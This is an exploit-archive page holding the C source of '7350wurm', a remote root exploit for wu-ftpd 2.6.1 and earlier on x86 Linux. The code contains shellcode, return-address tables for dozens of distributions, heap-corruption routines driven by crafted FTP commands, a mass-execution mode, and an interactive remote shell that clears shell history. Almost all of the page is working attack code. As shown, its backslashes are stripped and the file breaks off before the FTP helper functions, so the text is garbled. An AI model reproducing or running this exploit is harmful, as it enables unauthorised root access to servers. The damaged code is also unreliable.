[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : wu-ftpd <= 2.6.1 Remote Root Exploit
# Published : 2002-05-14
# Author : Teso
# Previous Title : DistCC Daemon Command Execution
# Next Title : rsync <= 2.5.1 Remote Exploit


/* 7350wurm - x86/linux wu_ftpd remote root exploit
 *
 * TESO CONFIDENTIAL - SOURCE MATERIALS
 *
 * This is unpublished proprietary source code of TESO Security.
 *
 * The contents of these coded instructions, statements and computer
 * programs may not be disclosed to third parties, copied or duplicated in
 * any form, in whole or in part, without the prior written permission of
 * TESO Security. This includes especially the Bugtraq mailing list, the
 * www.hack.co.za website and any public exploit archive.
 *
 * The distribution restrictions cover the entire file, including this
 * header notice. (This means, you are not allowed to reproduce the header).
 *
 * (C) COPYRIGHT TESO Security, 2001
 * All Rights Reserved
 *
 *****************************************************************************
 * thanks to bnuts, tomas, dvorak, scrippie and max for hints, discussions and
 * ideas (synnergy.net rocks, thank you buddies ! :).
 */

#define VERSION "0.2.2"

/* TODO 1. fix chroot break on linux 2.4.x (x >= 13?)
 *         (ptrace inject on ppid())
 */

#include <sys/types.h>
#include <sys/time.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <arpa/telnet.h>
#include <netdb.h>
#include <errno.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <stdarg.h>
#include <string.h>
#include <time.h>


#define INIT_CMD        "unset HISTFILE;id;uname -a;n"

/* shellcodes
 */
unsigned char   x86_lnx_loop[] =
        "x90x90x90x90x90x90x90x90x90x90x90x90"
        "xebxfe";

/* x86/linux write/read/exec code (41 bytes)
 * does: 1. write (1, "nsPn", 4);
 *       2. read (0, ncode, 0xff);
 *       3. jmp ncode
 */
unsigned char   x86_wrx[] =
        "x90x90x90x90x90x90x90x90x90x90x90x90"

        "x31xdbx43xb8x0bx74x51x0bx2dx01x01x01"
        "x01x50x89xe1x6ax04x58x89xc2xcdx80xeb"
        "x0ex31xdbxf7xe3xfexcax59x6ax03x58xcd"
        "x80xebx05xe8xedxffxffxff";


unsigned char   x86_lnx_execve[] =
        /* 49 byte x86 linux PIC setreuid(0,0) + chroot-break
         * code by lorian / teso
         */
        "x33xdbxf7xe3xb0x46x33xc9xcdx80x6ax54"
        "x8bxdcxb0x27xb1xedxcdx80xb0x3dxcdx80"
        "x52xb1x10x68xffx2ex2ex2fx44xe2xf8x8b"
        "xdcxb0x3dxcdx80x58x6ax54x6ax28x58xcd"
        "x80"

        /* 34 byte x86 linux argv code -sc
         */
        "xebx1bx5fx31xc0x50x8ax07x47x57xaex75"
        "xfdx88x67xffx48x75xf6x5bx53x50x5ax89"
        "xe1xb0x0bxcdx80xe8xe0xffxffxff";


/* setreuid/chroot/execve
 * lorian / teso */
unsigned char   x86_lnx_shell[] =
/* TODO: fix chroot break on 2.4.x series (somewhere between 2.4.6 and
 *       2.4.13 they changed chroot behaviour. maybe to ptrace-inject
 *       on parent process (inetd) and execute code there. (optional)
 */
        "x33xdbxf7xe3xb0x46x33xc9xcdx80x6ax54"
        "x8bxdcxb0x27xb1xedxcdx80xb0x3dxcdx80"
        "x52xb1x10x68xffx2ex2ex2fx44xe2xf8x8b"
        "xdcxb0x3dxcdx80x58x6ax54x6ax28x58xcd"
        "x80"
        "x6ax0bx58x99x52x68x6ex2fx73x68x68x2f"
        "x2fx62x69x89xe3x52x53x89xe1xcdx80";


typedef struct {
        char *                  desc;           /* distribution */
        char *                  banner;         /* ftp banner part */
        unsigned char *         shellcode;
        unsigned int            shellcode_len;

        unsigned long int       retloc;         /* return address location */
        unsigned long int       cbuf;           /* &cbuf[0] */
} tgt_type;


tgt_type tmanual = {
        "manual values",
        "unknown banner",
        x86_wrx, sizeof (x86_wrx) - 1,
        0x41414141, 0x42424242
};

tgt_type targets[] = {
        { "Caldera eDesktop|eServer|OpenLinux 2.3 update "
                "[wu-ftpd-2.6.1-13OL.i386.rpm]",
                "Version wu-2.6.1(1) Wed Nov 28 14:03:42 CET 2001",
                x86_wrx, sizeof (x86_wrx) - 1,
                0x0806e2b0, 0x080820a0 },

        { "Debian potato [wu-ftpd_2.6.0-3.deb]",
                "Version wu-2.6.0(1) Tue Nov 30 19:12:53 CET 1999",
                x86_wrx, sizeof (x86_wrx) - 1,
                0x0806db00, 0x0807f520 },

        { "Debian potato [wu-ftpd_2.6.0-5.1.deb]",
                "Version wu-2.6.0(1) Fri Jun 23 08:07:11 CEST 2000",
                x86_wrx, sizeof (x86_wrx) - 1,
                0x0806db80, 0x0807f5a0 },

        { "Debian potato [wu-ftpd_2.6.0-5.3.deb]",
                "Version wu-2.6.0(1) Thu Feb 8 17:45:47 CET 2001",
                x86_wrx, sizeof (x86_wrx) - 1,
                0x0806db80, 0x0807f5a0 },

        { "Debian sid [wu-ftpd_2.6.1-5_i386.deb]",
                "Version wu-2.6.1(1) Sat Feb 24 01:43:53 GMT 2001",
                x86_wrx, sizeof (x86_wrx) - 1,
                0x0806e7a0, 0x0807ffe0 },

        { "Immunix 6.2 (Cartman) [wu-ftpd-2.6.0-3_StackGuard.rpm]",
                "Version wu-2.6.0(1) Thu May 25 03:35:34 PDT 2000",
                x86_wrx, sizeof (x86_wrx) - 1,
                0x080713e0, 0x08082e00 },

        { "Immunix 7.0 (Stolichnaya) [wu-ftpd-2.6.1-6_imnx_2.rpm]",
                "Version wu-2.6.1(1) Mon Jan 29 08:04:31 PST 2001",
                x86_wrx, sizeof (x86_wrx) - 1,
                0x08072bd4, 0x08086400 },

        { "Mandrake 6.0|6.1|7.0|7.1 update [wu-ftpd-2.6.1-8.6mdk.i586.rpm]",
                "Version wu-2.6.1(1) Mon Jan 15 20:52:49 CET 2001",
                x86_wrx, sizeof (x86_wrx) - 1,
                0x0806f7f0, 0x08082600 },

        { "Mandrake 7.2 update [wu-ftpd-2.6.1-8.3mdk.i586.rpm]",
                "Version wu-2.6.1(1) Wed Jan 10 07:07:00 CET 2001",
                x86_wrx, sizeof (x86_wrx) - 1,
                0x08071850, 0x08084660 },

        { "Mandrake 8.1 [wu-ftpd-2.6.1-11mdk.i586.rpm]",
                "Version wu-2.6.1(1) Sun Sep 9 16:30:24 CEST 2001",
                x86_wrx, sizeof (x86_wrx) - 1,
                0x0806fec4, 0x08082b40 },

        { "RedHat 5.0|5.1 update [wu-ftpd-2.4.2b18-2.1.i386.rpm]",
                "Version wu-2.4.2-academ[BETA-18](1) "
                        "Mon Jan 18 19:19:31 EST 1999",
                x86_wrx, sizeof (x86_wrx) - 1,
                0x08061cf0, 0x08068540 },       /* XXX: manually found */

        { "RedHat 5.2 (Apollo) [wu-ftpd-2.4.2b18-2.i386.rpm]",
                "Version wu-2.4.2-academ[BETA-18](1) "
                        "Mon Aug 3 19:17:20 EDT 1998",
                x86_wrx, sizeof (x86_wrx) - 1,
                0x08061c48, 0x08068490 },       /* XXX: manually found */

        { "RedHat 5.2 update [wu-ftpd-2.6.0-2.5.x.i386.rpm]",
                "Version wu-2.6.0(1) Fri Jun 23 09:22:33 EDT 2000",
                x86_wrx, sizeof (x86_wrx) - 1,
                0x0806b530, 0x08076550 },       /* XXX: manually found */

#if 0
        /* XXX: not exploitable using synnergy.net method. (glob code
         *      does not handle {.,.,.,.}
         */
        { "RedHat 6.0 (Hedwig) [wu-ftpd-2.4.2vr17-3.i386.rpm]",
                "Version wu-2.4.2-VR17(1) Mon Apr 19 09:21:53 EDT 1999",
                x86_wrx, sizeof (x86_wrx) - 1,
                0x08069f04, 0x08079f60 },
#endif

        { "RedHat 6.? [wu-ftpd-2.6.0-1.i386.rpm]",
                "Version wu-2.6.0(1) Thu Oct 21 12:27:00 EDT 1999",
                x86_wrx, sizeof (x86_wrx) - 1,
                0x0806e620, 0x080803e0 },

        { "RedHat 6.0|6.1|6.2 update [wu-ftpd-2.6.0-14.6x.i386.rpm]",
                "Version wu-2.6.0(1) Fri Jun 23 09:17:44 EDT 2000",
                x86_wrx, sizeof (x86_wrx) - 1,
                0x08070538, 0x08083360 },

        { "RedHat 6.1 (Cartman) [wu-ftpd-2.5.0-9.rpm]",
                "Version wu-2.5.0(1) Tue Sep 21 16:48:12 EDT 1999",
                x86_wrx, sizeof (x86_wrx) - 1,
                0x0806cb88, 0x0807cc40 },

        { "RedHat 6.2 (Zoot) [wu-ftpd-2.6.0-3.i386.rpm]",
                "Version wu-2.6.0(1) Mon Feb 28 10:30:36 EST 2000",
                x86_wrx, sizeof (x86_wrx) - 1,
                0x0806e1a0, 0x0807fbc0 },

        { "RedHat 7.0 (Guinness) [wu-ftpd-2.6.1-6.i386.rpm]",
                "Version wu-2.6.1(1) Wed Aug 9 05:54:50 EDT 2000",
                x86_wrx, sizeof (x86_wrx) - 1,
                0x08070ddc, 0x08084600 },

        { "RedHat 7.1 (Seawolf) [wu-ftpd-2.6.1-16.rpm]",
                "Version wu-2.6.1-16",
                x86_wrx, sizeof (x86_wrx) - 1,
                0x0807314c, 0x08085de0 },

        { "RedHat 7.2 (Enigma) [wu-ftpd-2.6.1-18.i386.rpm]",
                "Version wu-2.6.1-18",
                x86_wrx, sizeof (x86_wrx) - 1,
                0x08072c30, 0x08085900 },

        { "SuSE 6.0|6.1 update [wuftpd-2.6.0-151.i386.rpm]",
                "Version wu-2.6.0(1) Wed Aug 30 22:26:16 GMT 2000",
                x86_wrx, sizeof (x86_wrx) - 1,
                0x0806e6b4, 0x080800c0 },

        { "SuSE 6.0|6.1 update wu-2.4.2 [wuftpd-2.6.0-151.i386.rpm]",
                "Version wu-2.4.2-academ[BETA-18](1) "
                        "Wed Aug 30 22:26:37 GMT 2000",
                x86_wrx, sizeof (x86_wrx) - 1,
                0x0806989c, 0x08069f80 },

        { "SuSE 6.2 update [wu-ftpd-2.6.0-1.i386.rpm]",
                "Version wu-2.6.0(1) Thu Oct 28 23:35:06 GMT 1999",
                x86_wrx, sizeof (x86_wrx) - 1,
                0x0806f85c, 0x08081280 },

        { "SuSE 6.2 update [wuftpd-2.6.0-121.i386.rpm]",
                "Version wu-2.6.0(1) Mon Jun 26 13:11:34 GMT 2000",
                x86_wrx, sizeof (x86_wrx) - 1,
                0x0806f4e0, 0x08080f00 },

        { "SuSE 6.2 update wu-2.4.2 [wuftpd-2.6.0-121.i386.rpm]",
                "Version wu-2.4.2-academ[BETA-18](1) "
                        "Mon Jun 26 13:11:56 GMT 2000",
                x86_wrx, sizeof (x86_wrx) - 1,
                0x0806a234, 0x0806a880 },

        { "SuSE 7.0 [wuftpd.rpm]",
                "Version wu-2.6.0(1) Wed Sep 20 23:52:03 GMT 2000",
                x86_wrx, sizeof (x86_wrx) - 1,
                0x0806f180, 0x08080ba0 },

        { "SuSE 7.0 wu-2.4.2 [wuftpd.rpm]",
                "Version wu-2.4.2-academ[BETA-18](1) "
                        "Wed Sep 20 23:52:21 GMT 2000",
                x86_wrx, sizeof (x86_wrx) - 1,
                0x0806a554, 0x0806aba0 },

        { "SuSE 7.1 [wuftpd.rpm]",
                "Version wu-2.6.0(1) Thu Mar 1 14:43:47 GMT 2001",
                x86_wrx, sizeof (x86_wrx) - 1,
                0x0806f168, 0x08080980 },

        { "SuSE 7.1 wu-2.4.2 [wuftpd.rpm]",
                "Version wu-2.4.2-academ[BETA-18](1) "
                        "Thu Mar 1 14:44:08 GMT 2001",
                x86_wrx, sizeof (x86_wrx) - 1,
                0x0806a534, 0x0806ab80 },

        { "SuSE 7.2 [wuftpd.rpm]",
                "Version wu-2.6.0(1) Mon Jun 18 12:34:55 GMT 2001",
                x86_wrx, sizeof (x86_wrx) - 1,
                0x0806f58c, 0x08080dc0 },

        { "SuSE 7.2 wu-2.4.2 [wuftpd.rpm]",
                "Version wu-2.4.2-academ[BETA-18](1) "
                        "Mon Jun 18 12:35:12 GMT 2001",
                x86_wrx, sizeof (x86_wrx) - 1,
                0x0806a784, 0x0806ae40 },

        { "SuSE 7.3 [wuftpd.rpm]",
                "Version wu-2.6.0(1) Thu Oct 25 03:14:33 GMT 2001",
                x86_wrx, sizeof (x86_wrx) - 1,
                0x0806f31c, 0x08080aa0 },

        { "SuSE 7.3 wu-2.4.2 [wuftpd.rpm]",
                "Version wu-2.4.2-academ[BETA-18](1) "
                        "Thu Oct 25 03:14:49 GMT 2001",
                x86_wrx, sizeof (x86_wrx) - 1,
                0x0806a764, 0x0806ad60 },
#if 0

        /* slackware (from 8 on they use proftpd by default) */
        { "Slackware 7",
                "Version wu-2.6.0(1) Fri Oct 22 00:38:20 CDT 1999",
                x86_wrx, sizeof (x86_wrx) - 1,
                0x0806d03c, 0x0808f648 },
#endif

        { "Slackware 7.1",
                "Version wu-2.6.0(1) Tue Jun 27 10:52:28 PDT 2000",
                x86_wrx, sizeof (x86_wrx) - 1,
                0x0806ba2c, },

        { NULL, NULL, 0, 0, 0, 0 },
};

/* exploitation related stuff.
 * DO NOT CHANGE, except you know exactly what you are doing.
 */
#define CHUNK_POS       256

#define MALLOC_ALIGN_MASK       0x07
#define MALLOC_MINSIZE          0x10
#define CHUNK_ALLSIZE(s) 
        CHUNK_ROUND((s)) + 0x08
#define CHUNK_ROUND(s) 
        (((((s) + 4 + MALLOC_ALIGN_MASK)) < 
                (MALLOC_MINSIZE + MALLOC_ALIGN_MASK)) ? 
        (MALLOC_MINSIZE) : ((((s) + 4 + MALLOC_ALIGN_MASK)) & 
        ~MALLOC_ALIGN_MASK))

/* minimum sized malloc(n) allocation that will jield in an overall
 * chunk size of s. (s must be a valid %8=0 chunksize)
 */
#define CHUNK_ROUNDDOWN(s) 
        ((s) <= 0x8) ? (1) : ((s) - 0x04 - 11)
#define CHUNK_STRROUNDDOWN(s) 
        (CHUNK_ROUNDDOWN ((s)) > 1 ? CHUNK_ROUNDDOWN ((s)) - 1 : 1)


/* FTP related stuff
 */
char *  dest = "127.0.0.1";     /* can be changed with -d */
char *  username = "ftp";       /* can be changed with -u */
char *  password = "mozilla@";  /* can be changed with -p */

char *  ftp_banner = NULL;

int     verbose = 0;


/* FTP prototypes
 */
void ftp_escape (unsigned char *buf, unsigned long int buflen);
void ftp_recv_until (int sock, char *buff, int len, char *begin);
int ftp_login (char *host, char *user, char *pass);


/* main prototypes
 */
void usage (char *progname);
void exploit (int fd, tgt_type *tgt);
void shell (int sock);
void hexdump (char *desc, unsigned char *data, unsigned int amount);

void tgt_list (void);
tgt_type * tgt_frombanner (unsigned char *banner);

void xp_buildsize (int fd, unsigned char this_size_ls,
        unsigned long int csize);
void xp_gapfill (int fd, int rnfr_num, int rnfr_size);
int xp_build (tgt_type *tgt, unsigned char *buf, unsigned long int buf_len);
void xp_buildchunk (tgt_type *tgt, unsigned char *cspace, unsigned int clen);


/*** MASS mode stuff
 */
static int
sc_build_x86_lnx (unsigned char *target, size_t target_len,
        unsigned char *shellcode, char **argv);

int             mass = 0;       /* enable with -m (kids, get hurt!) */
unsigned int    mlen = 0;
unsigned char   mcode[256];


/* imported from network.c
 */
#define NET_CONNTIMEOUT 60
#define NET_READTIMEOUT 20
int     net_conntimeout = NET_CONNTIMEOUT;

unsigned long int net_resolve (char *host);
int net_connect (struct sockaddr_in *cs, char *server,
        unsigned short int port, int sec);
void net_write (int fd, const char *str, ...);
int net_rtimeout (int fd, int sec);
int net_rlinet (int fd, char *buf, int bufsize, int sec);


/* exploitation related stuff, which is fixed on all wuftpd systems
 */
#define RNFR_SIZE       4
#define RNFR_NUM        73

int     automode = 0;   /* evil, do not use */
int     debugmode = 0;

void
usage (char *progname)
{
        fprintf (stderr, "usage: %s [-h] [-v] [-a] [-D] [-m]n"
                "t[-t <num>] [-u <user>] [-p <pass>] [-d host]n"
                "t[-L <retloc>] [-A <retaddr>]nn", progname);

        fprintf (stderr,
                "-htthis helpn"
                "-vtbe verbose (default: off, twice for greater effect)n"
                "-atAUTO mode (target from banner)n"
                "-DtDEBUG mode (waits for keypresses)n"
                "-mtenable mass mode (use with care)n"
                "-t numtchoose target (0 for list, try -v or -v -v)n"
                "-u usertusername to login to FTP (default: "ftp")n"
                "-p passtpassword to use (default: "mozilla@")n"
                "-d desttIP address or fqhn to connect to "
                        "(default: 127.0.0.1)n"
                "-L loctoverride target-supplied retloc "
                        "(format: 0xdeadbeef)n"
                "-A addrtoverride target-supplied retaddr "
                        "(format: 0xcafebabe)n");
        fprintf (stderr, "n");

        exit (EXIT_FAILURE);
}

unsigned char *         shellcode = NULL;
unsigned long int       shellcode_len = 0;
unsigned long int       user_retloc = 0,
                        user_retaddr = 0;


int
main (int argc, char *argv[])
{
        char                    c;
        char *                  progname;       /* = argv[0] */
        int                     fd;

        tgt_type *              tgt = NULL;
        int                     tgt_num = -1;

        unsigned char           xpbuf[512 + 16];


        fprintf (stderr, "7350wurm - x86/linux wuftpd <= 2.6.1 remote root "
                "(version "VERSION")n"
                "team teso (thx bnuts, tomas, synnergy.net !).nn");

        progname = argv[0];
        if (argc < 2)
                usage (progname);


        while ((c = getopt (argc, argv, "hvaDmt:u:p:d:L:A:")) != EOF) {
                switch (c) {
                case 'h':
                        usage (progname);
                        break;
                case 'a':
                        automode = 1;
                        break;
                case 'D':
                        debugmode = 1;
                        break;
                case 'v':
                        verbose += 1;
                        break;
                case 'm':
                        mass = 1;
                        break;
                case 't':
                        if (sscanf (optarg, "%u", &tgt_num) != 1)
                                usage (progname);
                        break;
                case 'u':
                        username = "h0ra";
                        printf ("username = %sn", optarg);
                        break;
                case 'p':
                        password = optarg;
                        break;
                case 'd':
                        dest = optarg;
                        break;
                case 'L':
                        if (sscanf (optarg, "0x%lx", &user_retloc) != 1)
                                usage (progname);
                        break;
                case 'A':
                        if (sscanf (optarg, "0x%lx", &user_retaddr) != 1)
                                usage (progname);
                        break;
                default:
                        usage (progname);
                        break;
                }
        }

        /* if both required offsets are given manually, then we dont have
         * to require a target selection. otherwise check whether the target
         * is within the list. if its not, then print a list of available
         * targets
         */
        if (user_retloc != 0 && user_retaddr != 0) {
                tgt = &tmanual;
        } else if (automode == 0 && (tgt_num == 0 ||
                tgt_num >= (sizeof (targets) / sizeof (tgt_type))))
        {
                if (tgt_num != 0)
                        printf ("WARNING: target out of list. list:nn");

                tgt_list ();

                exit (EXIT_SUCCESS);
        }
        if (tgt == NULL && automode == 0)
                tgt = &targets[tgt_num - 1];

        if (mass == 1) {
                if ((argc - optind) == 0)
                        usage (progname);

                mlen = sc_build_x86_lnx (mcode, sizeof (mcode),
                        x86_lnx_execve, &argv[optind]);

                if (mlen >= 0xff) {
                        fprintf (stderr, "created argv-code too long "
                                "(%d bytes)n", mlen);

                        exit (EXIT_FAILURE);
                }

                fprintf (stderr, "# created %d byte execve shellcoden", mlen);
        }

        printf ("# trying to log into %s with (%s/%s) ...", dest,
                username, password);
        fflush (stdout);

        fd = ftp_login (dest, username, password);
        if (fd <= 0) {
                fprintf (stderr, "nfailed to connect (user/pass correct?)n");
                exit (EXIT_FAILURE);
        }
        printf (" connected.n");

        if (debugmode) {
                printf ("DEBUG: press entern");
                getchar ();
        }

        printf ("# banner: %s", (ftp_banner == NULL) ? "???" :
                ftp_banner);

        if (tgt == NULL && automode) {
                tgt = tgt_frombanner (ftp_banner);
                if (tgt == NULL) {
                        printf ("# failed to jield target from banner, abortingn");

                        exit (EXIT_FAILURE);
                }
                printf ("# successfully selected target from bannern");
        }

        if (shellcode == NULL) {
                shellcode = tgt->shellcode;
                shellcode_len = tgt->shellcode_len;
        }

        if (verbose >= 2) {
                printf ("using %lu byte shellcode:n", shellcode_len);

                hexdump ("shellcode", shellcode, shellcode_len);
        }

        if (user_retaddr != 0) {
                fprintf (stderr, "# overriding target retaddr with: 0x%08lxn",
                        user_retaddr);
        }

        if (user_retloc != 0) {
                fprintf (stderr, "# overriding target retloc with: 0x%08lxn",
                        user_retloc);

                tgt->retloc = user_retloc;
        }

        printf ("n### TARGET: %snn", tgt->desc);

        /* real stuff starts from here
         */
        printf ("# 1. filling memory gapsn");
        xp_gapfill (fd, RNFR_NUM, RNFR_SIZE);

        exploit (fd, tgt);

        printf ("# 3. triggering free(globlist[1])n");
        net_write (fd, "CWD ~{n");

        ftp_recv_until (fd, xpbuf, sizeof (xpbuf), "sP");
        if (strncmp (xpbuf, "sP", 2) != 0) {
                fprintf (stderr, "exploitation FAILED !noutput:n%sn",
                        xpbuf);

                exit (EXIT_FAILURE);
        }

        printf ("#n# exploitation succeeded. sending real shellcoden");

        if (mass == 1) {
                printf ("# mass mode, sending constructed argv coden");

                write (fd, mcode, mlen);

                printf ("# send. sleeping 10 secondsn");
                sleep (10);

                printf ("# success.n");

                exit (EXIT_SUCCESS);
        }

        printf ("# sending setreuid/chroot/execve shellcoden");
        net_write (fd, "%s", x86_lnx_shell);

        printf ("# spawning shelln");
        printf ("##################################################"
                        "##########################n");

        write (fd, INIT_CMD, strlen (INIT_CMD));
        shell (fd);

        exit (EXIT_SUCCESS);
}


void
exploit (int fd, tgt_type *tgt)
{
        unsigned long int       dir_chunk_size,
                                bridge_dist,
                                padchunk_size,
                                fakechunk_size,
                                pad_before;
        unsigned char *         dl;     /* dirlength */

        unsigned char           xpbuf[512 + 64];


        /* figure out home directory length
         */
        net_write (fd, "PWDn");
        ftp_recv_until (fd, xpbuf, sizeof (xpbuf), "257 ");

        dl = strchr (xpbuf, '"');
        if (dl == NULL || strchr (dl + 1, '"') == NULL) {
                fprintf (stderr, "faulty PWD reply: %sn", xpbuf);

                exit (EXIT_FAILURE);
        }

        dir_chunk_size = 0;
        for (dl += 1 ; *dl != '"' ; ++dl)
                dir_chunk_size += 1;

        if (verbose)
                printf ("PWD path (%lu): %sn", dir_chunk_size, xpbuf);

        /* compute chunk size from it (needed later)
         */
        dir_chunk_size += 3;    /* ~/ + NUL byte */
        dir_chunk_size = CHUNK_ROUND (dir_chunk_size);
        if (debugmode)
                printf ("dir_chunk_size = 0x%08lxn", dir_chunk_size);


        /* send preparation buffer to store the fakechunk in the end of
         * the malloc buffer allocated from within the parser ($1)
         */
        printf ("# 2. sending bigbuf + fakechunkn");
        xp_build (tgt, xpbuf, 500 - strlen ("LIST "));
        if (verbose)
                hexdump ("xpbuf", xpbuf, strlen (xpbuf));

        ftp_escape (xpbuf, sizeof (xpbuf));
        net_write (fd, "CWD %sn", xpbuf);
        ftp_recv_until (fd, xpbuf, sizeof (xpbuf), "550 ");


        /* synnergy.net uberleet method (thank you very much guys !)
         */
        net_write (fd, "CWD ~/{.,.,.,.}n");
        ftp_recv_until (fd, xpbuf, sizeof (xpbuf), "250 ");

        /* now, we flush the last-used-chunk marker in glibc malloc code. else
         * we might land in a previously used bigger chunk, but we need a
         * sequential order. "CWD ." will allocate a two byte chunk, which will
         * be reused on any later small malloc.
         */
        net_write (fd, "CWD .n");
        ftp_recv_until (fd, xpbuf, sizeof (xpbuf), "250 ");


        /* cause chunk with padding size
         */
        pad_before = CHUNK_ALLSIZE (strlen ("~/{.,.,.,.}n")) +
                        dir_chunk_size - 0x08;
        xp_gapfill (fd, 1, CHUNK_ROUNDDOWN (pad_before));

        /* 0x10 (CWD ~/{.,.,.,.}) + 4 * dirchunk */
        bridge_dist = 0x10 + 4 * dir_chunk_size;
        if (debugmode)
                printf ("bridge_dist = 0x%08lxn", bridge_dist);

        /* 0x18 (RNFR 16), dcs (RNFR dir), 0x10 (CWD ~{) */
        padchunk_size = bridge_dist - 0x18 - dir_chunk_size - 0x10;
        if (debugmode)
                printf ("padchunk_size = 0x%08lxn", padchunk_size);

        /* +4 = this_size field itself */
        fakechunk_size = CHUNK_POS + 4;
        fakechunk_size -= pad_before;
        fakechunk_size += 0x04; /* account for prev_size, too */
        fakechunk_size |= 0x1;  /* set PREV_INUSE */

        if (debugmode)
                printf ("fakechunk_size = 0x%08lxn", fakechunk_size);
        xp_buildsize (fd, fakechunk_size, 0x10);

        /* pad down to the minimum possible size in 8 byte alignment
         */
        if (verbose)
                printf ("npadchunk_size = 0x%08lxn==> %lun",
                        padchunk_size, padchunk_size - 8 - 1);
        xp_gapfill (fd, 1, padchunk_size - 8 - 1);

        if (debugmode) {
                printf ("press entern");
                getchar ();
        }

        return;
}


/* tgt_list
 *
 * give target list
 */

void
tgt_list (void)
{
        int     tgt_num;


        printf ("num . descriptionn");
        printf ("----+-----------------------------------------------"
                "--------n");

        for (tgt_num = 0 ; targets[tgt_num].desc != NULL ; ++tgt_num) {
                printf ("%3d | %sn", tgt_num + 1, targets[tgt_num].desc);

                if (verbose)
                        printf ("    :    %sn", targets[tgt_num].banner);
                if (verbose >= 2)
                        printf ("    :    retloc: 0x%08lx   "
                                "cbuf: 0x%08lxn",
                                targets[tgt_num].retloc,
                                targets[tgt_num].cbuf);
        }
        printf ("    'n");

        return;
}


/* tgt_frombanner
 *
 * try to automatically select target from ftp banner
 *
 * return pointer to target structure on success
 * return NULL on failure
 */

tgt_type *
tgt_frombanner (unsigned char *banner)
{
        int     tw;     /* target list walker */


        for (tw = 0 ; targets[tw].desc != NULL ; ++tw) {
                if (strstr (banner, targets[tw].banner) != NULL)
                        return (&targets[tw]);
        }

        return (NULL);
}


/* xp_buildsize
 *
 * set chunksize to this_size_ls. do this in a csize bytes long chunk.
 * normally csize = 0x10. csize is always a padded chunksize.
 */

void
xp_buildsize (int fd, unsigned char this_size_ls, unsigned long int csize)
{
        int             n,
                        cw;     /* chunk walker */
        unsigned char   tmpbuf[512];
        unsigned char * leet = "7350";


        for (n = 2 ; n > 0 ; --n) {
                memset (tmpbuf, '', sizeof (tmpbuf));

                for (cw = 0 ; cw < (csize - 0x08) ; ++cw)
                        tmpbuf[cw] = leet[cw % 4];

                tmpbuf[cw - 4 + n] = '';
                if (debugmode)
                        printf (": CWD %sn", tmpbuf);

                net_write (fd, "CWD %sn", tmpbuf);
                ftp_recv_until (fd, tmpbuf, sizeof (tmpbuf), "550 ");
        }

        memset (tmpbuf, '', sizeof (tmpbuf));
        for (cw = 0 ; cw < (csize - 0x08 - 0x04) ; ++cw)
                tmpbuf[cw] = leet[cw % 4];

        if (debugmode)
                printf ("| CWD %sn", tmpbuf);

        net_write (fd, "CWD %s%cn", tmpbuf, this_size_ls);
        ftp_recv_until (fd, tmpbuf, sizeof (tmpbuf), "550 ");

        /* send a minimum-sized malloc request that will allocate a chunk
         * with 'csize' overall bytes
         */
        xp_gapfill (fd, 1, CHUNK_STRROUNDDOWN (csize));


        return;
}


/* xp_gapfill
 *
 * fill all small memory gaps in wuftpd malloc space. do this by sending
 * rnfr requests which cause a memleak in wuftpd.
 *
 * return in any case
 */

void
xp_gapfill (int fd, int rnfr_num, int rnfr_size)
{
        int             n;
        unsigned char * rb;             /* rnfr buffer */
        unsigned char * rbw;            /* rnfr buffer walker */
        unsigned char   rcv_buf[512];   /* temporary receive buffer */

        if (debugmode)
                printf ("RNFR: %d x 0x%08x (%d)n",
                        rnfr_num, rnfr_size, rnfr_size);

        rbw = rb = calloc (1, rnfr_size + 6);
        strcpy (rbw, "RNFR ");
        rbw += strlen (rbw);

        /* append a string of "././././". since wuftpd only checks whether
         * the pathname is lstat'able, it will go through without any problems
         */
        for (n = 0 ; n < rnfr_size ; ++n)
                strcat (rbw, ((n % 2) == 0) ? "." : "/");
        strcat (rbw, "n");

        for (n = 0 ; n < rnfr_num; ++n) {
                net_write (fd, "%s", rb);
                ftp_recv_until (fd, rcv_buf, sizeof (rcv_buf), "350 ");
        }
        free (rb);

        return;
}


#define ADDR_STORE(ptr,addr){
        ((unsigned char *) (ptr))[0] = (addr) & 0xff;
        ((unsigned char *) (ptr))[1] = ((addr) >> 8) & 0xff;
        ((unsigned char *) (ptr))[2] = ((addr) >> 16) & 0xff;
        ((unsigned char *) (ptr))[3] = ((addr) >> 24) & 0xff;
}


int
xp_build (tgt_type *tgt, unsigned char *buf, unsigned long int buf_len)
{
        unsigned char * wl;


        memset (buf, '', buf_len);

        memset (buf, '0', CHUNK_POS);
        xp_buildchunk (tgt, buf + CHUNK_POS, buf_len - CHUNK_POS - 1);

        for (wl = buf + strlen (buf) ; wl < &buf[buf_len - 1] ; wl += 2) {
                wl[0] = 'xeb';
                wl[1] = 'x0c';
        }

        memcpy (&buf[buf_len - 1] - shellcode_len, shellcode,
                shellcode_len);


        return (strlen (buf));
}


/* xp_buildchunk
 *
 * build the fake malloc chunk that will overwrite retloc with retaddr
 */

void
xp_buildchunk (tgt_type *tgt, unsigned char *cspace, unsigned int clen)
{
        unsigned long int       retaddr_eff;    /* effective */


        if (user_retaddr)
                retaddr_eff = user_retaddr;
        else
                retaddr_eff = tgt->cbuf + 512 - shellcode_len - 16;

        fprintf (stderr, "tbuilding chunk: ([0x%08lx] = 0x%08lx) in %d bytesn",
                tgt->retloc, retaddr_eff, clen);

        /* easy, straight forward technique
         */
        ADDR_STORE (&cspace[0], 0xfffffff0);            /* prev_size */
        ADDR_STORE (&cspace[4], 0xfffffffc);            /* this_size */
        ADDR_STORE (&cspace[8], tgt->retloc - 12);      /* fd */
        ADDR_STORE (&cspace[12], retaddr_eff);          /* bk */

        return;
}



void
shell (int sock)
{
        int     l;
        char    buf[512];
        fd_set  rfds;


        while (1) {
                FD_SET (0, &rfds);
                FD_SET (sock, &rfds);

                select (sock + 1, &rfds, NULL, NULL, NULL);
                if (FD_ISSET (0, &rfds)) {
                        l = read (0, buf, sizeof (buf));
                        if (l <= 0) {
                                perror ("read user");
                                exit (EXIT_FAILURE);
                        }
                        write (sock, buf, l);
                }

                if (FD_ISSET (sock, &rfds)) {
                        l = read (sock, buf, sizeof (buf));
                        if (l == 0) {
                                printf ("connection closed by foreign host.n");
                                exit (EXIT_FAILURE);
                        } else if (l < 0) {
                                perror ("read remote");
                                exit (EXIT_FAILURE);
                        }
                        write (1, buf, l);
                }
        }
}


/*** FTP functions
 */

